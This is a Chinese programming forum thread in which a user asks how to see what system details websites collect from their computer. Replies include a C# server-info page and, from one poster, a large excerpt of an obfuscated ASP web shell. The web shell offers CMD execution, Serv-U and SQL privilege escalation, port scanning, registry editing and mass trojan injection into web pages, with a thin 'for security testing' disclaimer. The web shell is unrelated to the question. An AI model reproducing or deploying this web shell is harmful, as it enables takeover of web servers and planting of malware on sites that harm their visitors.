如何用c#读取某些网站获取本机的ip,ie,硬盘资料等信息就是在某些网站注册的时候,网站会搜集本机的ip,ie版本, 硬盘号等信息, 怎么在他读取的时候让程序有反应,并且显示网站读取的本地的资料。差不多就是实时监控的意思。
解决方案 »
- C#odbc异常的问题
- 如何实现双击notifyIcon弹出QQ
- c#批量处理图片水印,高手请进~~~高分求解~~~~
- ExecuteNonQuery();并非所有的字段都已绑定
- 应用程序window2003下可以运行,xp下不行(xp安装了.netframework2.0的)
- 程序框架如何搭建合适
- 如何更改一个文件中指定行的指定字符串的值
- 。。如何调用excel样表,使生成的文件完全符合客户样表的要求???解决马上结帖,有生成excel代码。。
- duwamish的部署程序是用.net的deoplyment project做出来的吗?
- 监测unix平台的进程 高分奖励
- 发送邮件 C# SMTP 服务器要求安全连接或...... 服务器响应为: 5.5.1
- 数据库连接问题
我都说了fiddler也是一个.NET编写的程序,你还不知道什么意思么?
protected void LoadSystemInf()
{
Response.Expires = 0;
Response.CacheControl = "no-cache"; //取得页面执行开始时间
DateTime stime = DateTime.Now; //取得服务器相关信息
this.servername.Text = Server.MachineName;
this.serverip.Text = Request.ServerVariables["LOCAL_ADDR"];
this.server_name.Text = Request.ServerVariables["SERVER_NAME"]; int build, major, minor, revision;
build = Environment.Version.Build;
major = Environment.Version.Major;
minor = Environment.Version.Minor;
revision = Environment.Version.Revision;
this.servernet.Text = ".NET CLR " + major + "." + minor + "." + build + "." + revision;
this.serverms.Text = Common.GetSysType(Environment.OSVersion.ToString()); this.serversoft.Text = Request.ServerVariables["SERVER_SOFTWARE"];
this.serverport.Text = Request.ServerVariables["SERVER_PORT"];
this.serverout.Text = Server.ScriptTimeout.ToString();
//语言应该是浏览者信息, 1.0 final 修改
this.cl.Text = Request.ServerVariables["HTTP_ACCEPT_LANGUAGE"];
this.servertime.Text = DateTime.Now.ToString();
//serverppath.Text = Request.ServerVariables["APPL_PHYSICAL_PATH"];
this.servernpath.Text = Request.ServerVariables["PATH_TRANSLATED"];
this.serverhttps.Text = Request.ServerVariables["HTTPS"]; //取得用户浏览器信息
HttpBrowserCapabilities bc = Request.Browser;
this.ie.Text = bc.Browser.ToString();
this.cookies.Text = bc.Cookies.ToString();
this.frames.Text = bc.Frames.ToString();
this.javaa.Text = bc.JavaApplets.ToString();
this.javas.Text = bc.EcmaScriptVersion.ToString();
//this.ms.Text = bc.Platform.ToString();
this.ms.Text = Common.GetSysType(HttpContext.Current.Request.ServerVariables["HTTP_USER_AGENT"].ToString());
this.vbs.Text = bc.VBScript.ToString();
this.vi.Text = bc.Version.ToString(); //取得浏览者ip地址,1.0 final 加入
this.cip.Text = Common.GetClientIP(); // Request.ServerVariables["REMOTE_ADDR"]; //取得页面执行结束时间
DateTime etime = DateTime.Now; //计算页面执行时间
this.runtime.Text = ((etime - stime).TotalMilliseconds).ToString();
}
相近的熟悉又何区别如前些天让个新同事去做个功能 涉及到一个日期时间差(小时)同事也知道用timespan 可太用的是timespan.hour 而实践应该用timespan.TotalHours
你的意思我明白,也搜索过,读取一些信息我基本知道怎么做。
就是想知道别人读取我电脑的信息的时候,我是否可以截取他读的哪些信息,这个截取就是搜索不到。四楼的朋友给的FIDDLE还在研究。 不写程序好久,生疏了。
你自己学点web编程,会用个基本的http调试工具再说吧!
先声明 这个是被一些人用来去G马的相关代码 但实际是用来测试网站一些安全性的 这个东西不要随便去用来破坏别人的东西
dim fso,osm,ads,rs,conn
Function MainMenu()
RW="<form name='hideform' method='post' action='" & URL & "' target='FileFrame'>"
RW=RW & "<input type='hidden' name='Action'><input type='hidden' name='FName'></form>"
RW=RW & "<table width='100%' height='100%' border='0' cellpadding='0' cellspacing='0' bgcolor='menu'>"
RW=RW & "<tr><td height='20'>"
RW=RW & "<table width='100%' height='20' border='0' cellpadding='0' cellspacing='0'>"
RW=RW & "<form name='addrform' method='post' action='" & URL & "' target='_parent'>"
RW=RW & "<tr><td width='70'> 当前路径:</td><td>"
RW=RW & "<input name='FolderPath' style='width:100%;color=#FF0000;' value='" & Session("FolderPath") & "'>"
RW=RW & "</td><td width='100' align='center'><input name='Submit' type='submit' value='转到' class='submit'> "
RW=RW & "<input type='submit' value='刷新' onclick='FileFrame.location.reload()'>"
RW=RW & "</td></tr></form></table></td></tr><tr><td height='20'> 文件操作:"
Set SFSO=New LBF:SFSO.ShowDriver():Set SFSO=Nothing
RW=RW & "<a href='javascript:ShowFolder(""C:\\Progra~1"")'>[系统程序目录]</a> <a href='javascript:ShowFolder(""C:\\Docume~1"")'>[我的文档]</a> "
RW=RW & "<a href='javascript:ShowFolder("""&RePath(WWWRoot)&""")'>[网站目录]</a> "
RW=RW & "<a href='?Action=goback' target='FileFrame'>[↑回上级目录]</a> <a href='?Action=Logout' target='_top'>[退出登录]</a> "
RW=RW & "</tr></td><tr><td height='20'> "
RW=RW & "切换功能:<a href='javascript:FullForm("""&RePath(Session("FolderPath")&"\NewFolder")&""",""NewFolder"")'>[新建目录]</a> "
RW=RW & "<a href='?Action=EditFile' target='FileFrame'>[新建文本]</a> <a href='?Action=UpFile' target='FileFrame'>[文件上传]</a> "
RW=RW & "<a href='?Action=ScanDriveForm' target='FileFrame'>[磁盘信息]</a> <a href='?Action=TSearch' target='FileFrame'>[搜索文件]</a> "
RW=RW & "<a href='?Action=Course' target='FileFrame'>[系统服务]</a> "
RW=RW & "<a href='?Action=ServerInfo' target='FileFrame'>[组件信息]</a> <a href='?Action=TRegedit' target='FileFrame'>[注册表操作]</a> "
RW=RW & "<a href='?Action=ScanPort' target='FileFrame'>[端口扫描器]</a> <a href='?Action=CmdShell' target='FileFrame'>[CMD命令行]</a> "
RW=RW & "<a href='?Action=Servu' target='FileFrame'>[Serv-u提权]</a> <a href='?Action=sql' target='FileFrame'>[SQL提权]</a> "
RW=RW & "<a href='?Action=suftp' target='FileFrame'>[Serv-FTP提权]</a> "
RW=RW & "</td></tr>"
RW=RW & "<tr><td height='20'> 杂样功能:<a href='?Action=DbManager' target='FileFrame'>[数据库操作]</a> "
RW=RW & "<a href='?Action=proxy' target='FileFrame'>[单页代理]</a> <a href='?Action=downloads' target='FileFrame'>[直接下载]</a> "
RW=RW & "<a href='?Action=ToMdb' target='FileFrame'>[程序打包入库/出库]</a> "
RW=RW & "<a href='?Action=plgm' target='FileFrame'>[批量挂马]</a> "
RW=RW & "<a href='?Action=replace' target='FileFrame'>[批量替换]</a> "
RW=RW & "<a href='?Action=nofw' target='FileFrame'>[无FSO写]</a> "
RW=RW & "<a href='?Action=MMD' target='FileFrame'>[sql-cmd]</a> <a href='?Action=adminab' target='FileFrame'>[查管理员]</a> "
RW=RW & "<a href='?Action=getTerminalInfo' target='FileFrame'>[终端信息]</a> "
RW=RW & "<a href='?Action=php' target='FileFrame'>[PHP探针]</a> <a href='http://data.alexa.com/data?cli=10&dat=snba&url="&request.servervariables("http_host")&"' target='FileFrame'>[排名]</a> "
RW=RW & "<tr><td><iframe name='FileFrame' src='?Action=ShowFile' width='100%' height='100%' frameborder='1' scrolling='yes'></iframe>"
RW=RW & "</td></tr></table>"
Response.Write RW
RW=""
End Functionif request("DownFile")<>"" then call DownFile(request("DownFile"))Hacker="noitcnuF dnE~dnE.esnopseR ~gnihtoN = mso teS ~esolC.mso ~hsulF.esnopseR ~daeR.mso etirWyraniB.esnopseR ~▇maerts-tetco/noitacilppa▇ = epyTtnetnoC.esnopseR ~▇8-FTU▇ = tesrahC.esnopseR ~eziS.mso,▇htgneL-tnetnoC▇ redaeHddA.esnopseR ~)zs,htap(diM & ▇=emanelif ;tnemhcatta▇ ,▇noitisopsiD-tnetnoC▇ redaeHddA.esnopseR ~1+)▇\▇,htap(veRrtsnI=zs ~htaP eliFmorFdaoL.mso ~1 = epyT.mso ~nepO.mso ~))0,6(TbO(tcejbOetaerC = mso teS ~txeN emuseR rorrE nO ~raelC.esnopseR ~)htaP(eliFnwoD noitcnuF"
ExeCuTe(UZSS(Hacker))Class LBF
Private Sub Class_Initialize
Set fso=CreateObject(ObT(0,0))
End Sub Private Sub Class_Terminate
Set fso=Nothing
End SubFunction ShowDriver()
Hacker="WR=revirDwohS ~txeN ~ ▇;psbn&>a/<]:▇&retteLevirD.D&▇[盘磁>')▇▇\\:▇&retteLevirD.D&▇▇▇(redloFwohS:tpircsavaj'=ferh a<▇&WR=WR ~sevirD.osf ni D hcaE roF ~D mid "
ExeCuTe(UZSS(Hacker))
End FunctionFunction ShowFile(Path)
Hacker="gnihtoN=DLOF teS ~ ▇>elbat/<>rt/<>dt/<>elbat/<▇ etirW.esnopseR ~0=i ~▇>rt/<>dt/<>vid/<>aeratxet/<>'0'=sloc 'pmet'=eman '0'=swor aeratxet<>'enon':yalpsid=elyts vid<>'timbus'=ssalc ')(lrU'=kcilCno '08:htdiw'=elyts 'lrunwod'=eman '载下量批'=eulav 'timbus'=epyt tupni<;psbn&择选向反>')(llAkcehC'=kcilCno 'lla'=eulav 'lla'=eman 'xobkcehc'=epyt tupni<>rb<>dt<>rt<▇ etirW.esnopseR neht 0>i fi ~txeN ~▇▇=WR : WR etirW.esnopseR ~▇>rt/<>dt/<>dt/<>a/<动移>')▇▇eliFevoM▇▇,▇▇▇&)emaN.L&▇\▇&htaP(htaPeR&▇▇▇(mroFlluF:tpircsavaj'=ferh a<▇ & WR=WR ~▇;psbn&>a/<制复>')▇▇eliFypoC▇▇,▇▇▇&)emaN.L&▇\▇&htaP(htaPeR&▇▇▇(mroFlluF:tpircsavaj'=ferh a<▇ & WR=WR ~▇;psbn&>a/<除删>')(kosey nruter'=kcilcno ')▇▇eliFleD▇▇,▇▇▇&)emaN.L&▇\▇&htaP(htaPeR&▇▇▇(mroFlluF:tpircsavaj'=ferh a<▇ & WR=WR ~▇;psbn&>a/<辑编>')▇▇eliFtidE▇▇,▇▇▇&)emaN.L&▇\▇&htaP(htaPeR&▇▇▇(mroFlluF:tpircsavaj'=ferh a<>'retnec'=ngila '%52'=htdiw dt<▇ & WR=WR ~ )4,deifidoMtsaLetaD.L(emiTetaDtamroF & ▇ ▇ & )2,)deifidoMtsaLetaD.L(yad&▇0▇(thgir & ▇-▇ & )2,)deifidoMtsaLetaD.L(htnom&▇0▇(thgir & ▇-▇ & )deifidoMtsaLetaD.L(raey & ▇>'retnec'=ngila '%02'=htdiw dt<▇ & WR=WR ~▇>dt/<K▇&)4201/ezis.L(gnlc&▇>'%01'=htdiw dt<▇ & WR=WR ~▇>dt/<>a/<▇&emaN.L&▇>'载下'=eltit ';)▇▇eliFnwoD▇▇,▇▇▇&)emaN.L&▇\▇&htaP(htaPeR&▇▇▇(mroFlluF:tpircsavaj'=ferh a<▇ & WR=WR ~▇>'▇&)emaN.L&▇\▇&htaP(htaPeR&▇=eliFnwoD&▇&dwpresU&▇=dwp?▇&LRU&MNrevreS&▇//:ptth'=eulav 'dInwoD'=eman 'xobkcehc'=epyt tupni<> '%54'=htdiw dt<▇ & WR=WR ~▇ >▇▇''=emaNssalc.siht▇▇=tuOesuoMno ▇▇'rt'=emaNssalc.siht▇▇=revOesuoMno rt<▇=WR ~ 1+i=i ~ selif.dloF ni L hcaE roF ~ ~ ▇▇=WR : WR etirW.esnopseR ~ ▇>'%001'=htdiw '0'=gnicapsllec '0'=gniddapllec '1'=gnicapsllec '0'=redrob elbat<>'FFFFFF#'=rolocgb 'pot'=ngilav '006'=htdiw dt<>dt/<>elbat/<▇ & WR=WR ~txeN ~▇>rt/<>dt/<>a/<动移>')(kosey nruter'=kcilcno ')▇▇redloFevoM▇▇,▇▇▇&)emaN.F&▇\▇&htaP(htaPeR&▇▇▇(mroFlluF:tpircsavaj'=ferh a<;psbn&▇ & WR=WR ~▇>a/<制复>')(kosey nruter'=kcilcno ')▇▇redloFypoC▇▇,▇▇▇&)emaN.F&▇\▇&htaP(htaPeR&▇▇▇(mroFlluF:tpircsavaj'=ferh a<;psbn&▇ & WR=WR ~▇>a/<除删>')(kosey nruter'=kcilcno ')▇▇redloFleD▇▇,▇▇▇&)▇\\▇,▇\▇,emaN.F&▇\▇&htaP(ecalpeR&▇▇▇(mroFlluF:tpircsavaj'=ferh a<|;psbn&▇ & WR=WR ~▇>a/<]▇&emaN.F&▇[>')▇▇▇&)emaN.F&▇\▇&htaP(htaPeR&▇▇▇(redloFwohS:tpircsavaj'=ferh a<>'02'=thgieh '%001'=htdiw dt<>rt<▇ & WR=WR ~ sredlofbus.DLOF ni F hcaE roF ~)htaP(redloFteG.osf=DLOF teS ~▇>rt/<>dt/<>'%001'=htdiw dt<>rt<▇ & WR=WR ~▇>'%001'=htdiw '0'=gnicapsllec '0'=gniddapllec '0'=redrob elbat<▇ & WR=WR ~▇>'pot'=ngilav '002'=htdiw dt<>rt<▇ & WR=WR ~▇>'retnec'=ngila 'FEFEFE#'=rolocgb '%001'=thgieh '008'=htdiw '2'=gniddapllec '0'=redrob elbat<▇=WR ~i,dloF,L,F mid "
ExeCuTe(UZSS(Hacker))
End Function
根据useragent猜的。你说的应该是类似“asp.net探针”一类的程序。
http://blog.csdn.net/qxyywy/article/details/8526491